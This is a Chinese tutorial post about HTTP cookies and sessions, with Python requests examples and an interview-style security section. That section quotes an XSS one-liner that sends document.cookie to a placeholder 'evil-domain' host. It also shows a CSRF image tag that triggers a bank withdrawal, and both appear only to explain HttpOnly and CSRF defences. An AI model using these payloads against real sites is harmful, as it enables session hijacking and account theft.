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來(lái)自公眾號(hào)：裸睡的豬

相信很多同學(xué)肯定聽(tīng)過(guò)Cookie這個(gè)東西，也大概了解其作用，但是其原理以及如何設(shè)置，可能沒(méi)有做過(guò)web的同學(xué)并不是非常清楚，那今天豬哥就帶大家詳細(xì)了解下Cookie相關(guān)的知識(shí)！

一、誕生背景

爬蟲(chóng)系列教程的第一篇：HTTP詳解中我們便說(shuō)過(guò)HTTP的五大特點(diǎn)，而其中之一便是：無(wú)狀態(tài)

HTTP無(wú)狀態(tài)：服務(wù)器無(wú)法知道兩個(gè)請(qǐng)求是否來(lái)自同一個(gè)瀏覽器，即服務(wù)器不知道用戶上一次做了什么，每次請(qǐng)求都是完全相互獨(dú)立。

早期互聯(lián)網(wǎng)只是用于簡(jiǎn)單的瀏覽文檔信息、查看黃頁(yè)、門戶網(wǎng)站等等，并沒(méi)有交互這個(gè)說(shuō)法。但是隨著互聯(lián)網(wǎng)慢慢發(fā)展，寬帶、服務(wù)器等硬件設(shè)施已經(jīng)得到很大的提升，互聯(lián)網(wǎng)允許人們可以做更多的事情，所以交互式Web慢慢興起，而HTTP無(wú)狀態(tài)的特點(diǎn)卻嚴(yán)重阻礙其發(fā)展！

交互式Web：客戶端與服務(wù)器可以互動(dòng)，如用戶登錄，購(gòu)買商品，各種論壇等等

不能記錄用戶上一次做了什么，怎么辦？聰明的程序員們就開(kāi)始思考：怎么樣才能記錄用戶上一次的操作信息呢？于是有人就想到了隱藏域。

隱藏域?qū)懛ǎ?/span><input type="hidden" name="field＿name" value="value">

這樣把用戶上一次操作記錄放在form表單的input中，這樣請(qǐng)求時(shí)將表單提交不就知道上一次用戶的操作，但是這樣每次都得創(chuàng)建隱藏域而且得賦值太麻煩，而且容易出錯(cuò)！

ps：隱藏域作用強(qiáng)大，時(shí)至今日都有很多人在用它解決各種問(wèn)題！

網(wǎng)景公司當(dāng)時(shí)一名員工Lou Montulli（盧-蒙特利），在1994年將“cookies”的概念應(yīng)用于網(wǎng)絡(luò)通信，用來(lái)解決用戶網(wǎng)上購(gòu)物的購(gòu)物車歷史記錄，而當(dāng)時(shí)最強(qiáng)大的瀏覽器正是網(wǎng)景瀏覽器，在網(wǎng)景瀏覽器的支持下其他瀏覽器也漸漸開(kāi)始支持Cookie，到目前所有瀏覽器都支持Cookie了

二、Cookie是什么

前面我們已經(jīng)知道了Cookie的誕生是為了解決HTTP無(wú)狀態(tài)的特性無(wú)法滿足交互式web，那它究竟是什么呢？

上圖是在Chrome瀏覽器中的百度首頁(yè)的Cookies（Cookie的復(fù)數(shù)形式），在表格中，每一行都代表著一個(gè)Cookie，所以我們來(lái)看看Cookie的定義吧！

Cookie是由服務(wù)器發(fā)給客戶端的特殊信息，而這些信息以文本文件的方式存放在客戶端，然后客戶端每次向服務(wù)器發(fā)送請(qǐng)求的時(shí)候都會(huì)帶上這些特殊的信息，用于服務(wù)器記錄客戶端的狀態(tài)。

Cookie主要用于以下三個(gè)方面：

1. 會(huì)話狀態(tài)管理（如用戶登錄狀態(tài)、購(gòu)物車、游戲分?jǐn)?shù)或其它需要記錄的信息）

2. 個(gè)性化設(shè)置（如用戶自定義設(shè)置、主題等）

3. 瀏覽器行為跟蹤（如跟蹤分析用戶行為等）

三、Cookie原理

我們?cè)诹私饬薈ookie是由服務(wù)器發(fā)出存儲(chǔ)在瀏覽器的特殊信息，那具體是怎么樣的一個(gè)過(guò)程呢？為了大家便于理解，豬哥就以用戶登錄為例子為大家畫了一幅Cookie原理圖

用戶在輸入用戶名和密碼之后，瀏覽器將用戶名和密碼發(fā)送給服務(wù)器，服務(wù)器進(jìn)行驗(yàn)證，驗(yàn)證通過(guò)之后將用戶信息加密后封裝成Cookie放在請(qǐng)求頭中返回給瀏覽器。

HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Aug 2019 21:47:38 GMT; Path=/; Domain=.169it.com; HttpOnly

[響應(yīng)體]

瀏覽器收到服務(wù)器返回?cái)?shù)據(jù)，發(fā)現(xiàn)請(qǐng)求頭中有一個(gè)：Set-Cookie，然后它就把這個(gè)Cookie保存起來(lái)，下次瀏覽器再請(qǐng)求服務(wù)器的時(shí)候，會(huì)把Cookie也放在請(qǐng)求頭中傳給服務(wù)器：

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg

服務(wù)器收到請(qǐng)求后從請(qǐng)求頭中拿到cookie，然后解析并到用戶信息，說(shuō)明此用戶已登錄，Cookie是將數(shù)據(jù)保存在客戶端的。

這里我們可以看到，用戶信息是保存在Cookie中，也就相當(dāng)于是保存在瀏覽器中，那就說(shuō)用戶可以隨意修改用戶信息，這是一種不安全的策略！

強(qiáng)調(diào)一點(diǎn)：Cookie無(wú)論是服務(wù)器發(fā)給瀏覽器還是瀏覽器發(fā)給服務(wù)器，都是放在請(qǐng)求頭中的！

四、Cookie屬性

下圖中我們可以看到一個(gè)Cookie有：Name、Value、Domain、Path、Expires/Max-Age、Size、HTTP、Secure這些屬性，那這些屬性分別都有什么作用呢？我們來(lái)看看

1、Name&Value

Name表示Cookie的名稱，服務(wù)器就是通過(guò)name屬性來(lái)獲取某個(gè)Cookie值。

Value表示Cookie 的值，大多數(shù)情況下服務(wù)器會(huì)把這個(gè)value當(dāng)作一個(gè)key去緩存中查詢保存的數(shù)據(jù)。

2、Domain&Path

Domain表示可以訪問(wèn)此cookie的域名，下圖我們以百度貼吧頁(yè)的Cookie來(lái)講解一下Domain屬性。

從上圖中我們可以看出domain有：.baidu.com 頂級(jí)域名和.teiba.baidu.com的二級(jí)域名，所以這里就會(huì)有一個(gè)訪問(wèn)規(guī)則：頂級(jí)域名只能設(shè)置或訪問(wèn)頂級(jí)域名的Cookie，二級(jí)及以下的域名只能訪問(wèn)或設(shè)置自身或者頂級(jí)域名的Cookie，所以如果要在多個(gè)二級(jí)域名中共享Cookie的話，只能將Domain屬性設(shè)置為頂級(jí)域名！

Path表示可以訪問(wèn)此cookie的頁(yè)面路徑。比如path=/test，那么只有/test路徑下的頁(yè)面可以讀取此cookie。

3、Expires/Max-Age

Expires/Max-Age表示此cookie超時(shí)時(shí)間。若設(shè)置其值為一個(gè)時(shí)間，那么當(dāng)?shù)竭_(dá)此時(shí)間后，此cookie失效。不設(shè)置的話默認(rèn)值是Session，意思是cookie會(huì)和session一起失效。當(dāng)瀏覽器關(guān)閉(不是瀏覽器標(biāo)簽頁(yè)，而是整個(gè)瀏覽器) 后，此cookie失效。

提示：當(dāng)Cookie的過(guò)期時(shí)間被設(shè)定時(shí)，設(shè)定的日期和時(shí)間只與客戶端相關(guān)，而不是服務(wù)端。

4、Size

Size表示Cookie的name+value的字符數(shù)，比如有一個(gè)Cookie：id=666，那么Size=2+3=5 。

另外每個(gè)瀏覽器對(duì)Cookie的支持都不相同

5、HTTP

HTTP表示cookie的httponly屬性。若此屬性為true，則只有在http請(qǐng)求頭中會(huì)帶有此cookie的信息，而不能通過(guò)document.cookie來(lái)訪問(wèn)此cookie。

設(shè)計(jì)該特征意在提供一個(gè)安全措施來(lái)幫助阻止通過(guò)Javascript發(fā)起的跨站腳本攻擊(XSS)竊取cookie的行為

6、Secure

Secure表示是否只能通過(guò)https來(lái)傳遞此條cookie。不像其它選項(xiàng)，該選項(xiàng)只是一個(gè)標(biāo)記并且沒(méi)有其它的值。

這種cookie的內(nèi)容意指具有很高的價(jià)值并且可能潛在的被破解以純文本形式傳輸。

五、Python操作Cookie

1、生成Cookie

前面我們說(shuō)過(guò)Cookie是由服務(wù)端生成的，那如何用Python代碼來(lái)生成呢？

從上圖登錄代碼中我們看到，在簡(jiǎn)單的驗(yàn)證用戶名和密碼之后，服務(wù)器跳轉(zhuǎn)到/user，然后set了一個(gè)cookie，瀏覽器收到響應(yīng)后發(fā)現(xiàn)請(qǐng)求頭中有一個(gè)：Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg，然后瀏覽器就會(huì)將這個(gè)Cookie保存起來(lái)！

2、獲取Cookie

最近我們一直在講requests模塊，這里我們就用requests模塊來(lái)獲取Cookie。

r.cookies表示獲取所有cookie，get_dict()函數(shù)表示返回的是字典格式cookie。

3、設(shè)置Cookie

上篇我們爬取優(yōu)酷彈幕的文章中便是用了requests模塊設(shè)置Cookie

我們就瀏覽器復(fù)制過(guò)來(lái)的Cookie放在代碼中，這樣便可以順利的偽裝成瀏覽器，然后正常爬取數(shù)據(jù)，復(fù)制Cookie是爬蟲(chóng)中常用的一種手段！

六、Session

1、誕生背景

其實(shí)在Cookie設(shè)計(jì)之初，并不像豬哥講的那樣Cookie只保存一個(gè)key，而是直接保存用戶信息，剛開(kāi)始大家認(rèn)為這樣用起來(lái)很爽，但是由于cookie 是存在用戶端，而且它本身存儲(chǔ)的尺寸大小也有限，最關(guān)鍵是用戶可以是可見(jiàn)的，并可以隨意的修改，很不安全。那如何又要安全，又可以方便的全局讀取信息呢？于是，這個(gè)時(shí)候，一種新的存儲(chǔ)會(huì)話機(jī)制：Session 誕生了。

2、Session是什么

Session翻譯為會(huì)話，服務(wù)器為每個(gè)瀏覽器創(chuàng)建的一個(gè)會(huì)話對(duì)象，瀏覽器在第一次請(qǐng)求服務(wù)器，服務(wù)器便會(huì)為這個(gè)瀏覽器生成一個(gè)Session對(duì)象，保存在服務(wù)端，并且把Session的Id以cookie的形式發(fā)送給客戶端瀏覽，而以用戶顯式結(jié)束或session超時(shí)為結(jié)束。

我們來(lái)看看Session工作原理：

1. 當(dāng)一個(gè)用戶向服務(wù)器發(fā)送第一個(gè)請(qǐng)求時(shí)，服務(wù)器為其建立一個(gè)session，并為此session創(chuàng)建一個(gè)標(biāo)識(shí)號(hào)（sessionID）。

2. 這個(gè)用戶隨后的所有請(qǐng)求都應(yīng)包括這個(gè)標(biāo)識(shí)號(hào)（sessionID）。服務(wù)器會(huì)校對(duì)這個(gè)標(biāo)識(shí)號(hào)以判斷請(qǐng)求屬于哪個(gè)session。

對(duì)于session標(biāo)識(shí)號(hào)（sessionID），有兩種方式實(shí)現(xiàn)：Cookie和URL重寫，豬哥就以Cookie的實(shí)現(xiàn)方式畫一個(gè)Session原理圖

聯(lián)系cookie原理圖我們可以看到，Cookie是將數(shù)據(jù)直接保存在客戶端，而Session是將數(shù)據(jù)保存在服務(wù)端，就安全性來(lái)講Session更好！

3、Python操作Session

后面豬哥將會(huì)以登錄的例子來(lái)講解如何用Python代碼操作Session

七、面試場(chǎng)景

1、Cookie和Session關(guān)系

1. 都是為了實(shí)現(xiàn)客戶端與服務(wù)端交互而產(chǎn)出

2. Cookie是保存在客戶端，缺點(diǎn)易偽造、不安全

3. Session是保存在服務(wù)端，會(huì)消耗服務(wù)器資源

4. Session實(shí)現(xiàn)有兩種方式：Cookie和URL重寫

2、Cookie帶來(lái)的安全性問(wèn)題

1. 會(huì)話劫持和XSS：在Web應(yīng)用中，Cookie常用來(lái)標(biāo)記用戶或授權(quán)會(huì)話。因此，如果Web應(yīng)用的Cookie被竊取，可能導(dǎo)致授權(quán)用戶的會(huì)話受到攻擊。常用的竊取Cookie的方法有利用社會(huì)工程學(xué)攻擊和利用應(yīng)用程序漏洞進(jìn)行XSS攻擊。(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;HttpOnly類型的Cookie由于阻止了JavaScript對(duì)其的訪問(wèn)性而能在一定程度上緩解此類攻擊。

2. 跨站請(qǐng)求偽造（CSRF）：維基百科已經(jīng)給了一個(gè)比較好的CSRF例子。比如在不安全聊天室或論壇上的一張圖片，它實(shí)際上是一個(gè)給你銀行服務(wù)器發(fā)送提現(xiàn)的請(qǐng)求：<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">當(dāng)你打開(kāi)含有了這張圖片的HTML頁(yè)面時(shí)，如果你之前已經(jīng)登錄了你的銀行帳號(hào)并且Cookie仍然有效（還沒(méi)有其它驗(yàn)證步驟），你銀行里的錢很可能會(huì)被自動(dòng)轉(zhuǎn)走。解決CSRF的辦法有：隱藏域驗(yàn)證碼、確認(rèn)機(jī)制、較短的Cookie生命周期等

八、總結(jié)

今天為大家講解了Cookie的相關(guān)知識(shí)，以及如何使用requests模塊操作Cookie，最后順便提了一下Cookie與Session的關(guān)系以及Cookie存在哪些安全問(wèn)題。希望大家能對(duì)Cookie（小餅干）能有個(gè)全面的了解，這樣對(duì)你在今后的爬蟲(chóng)學(xué)習(xí)中會(huì)大有裨益！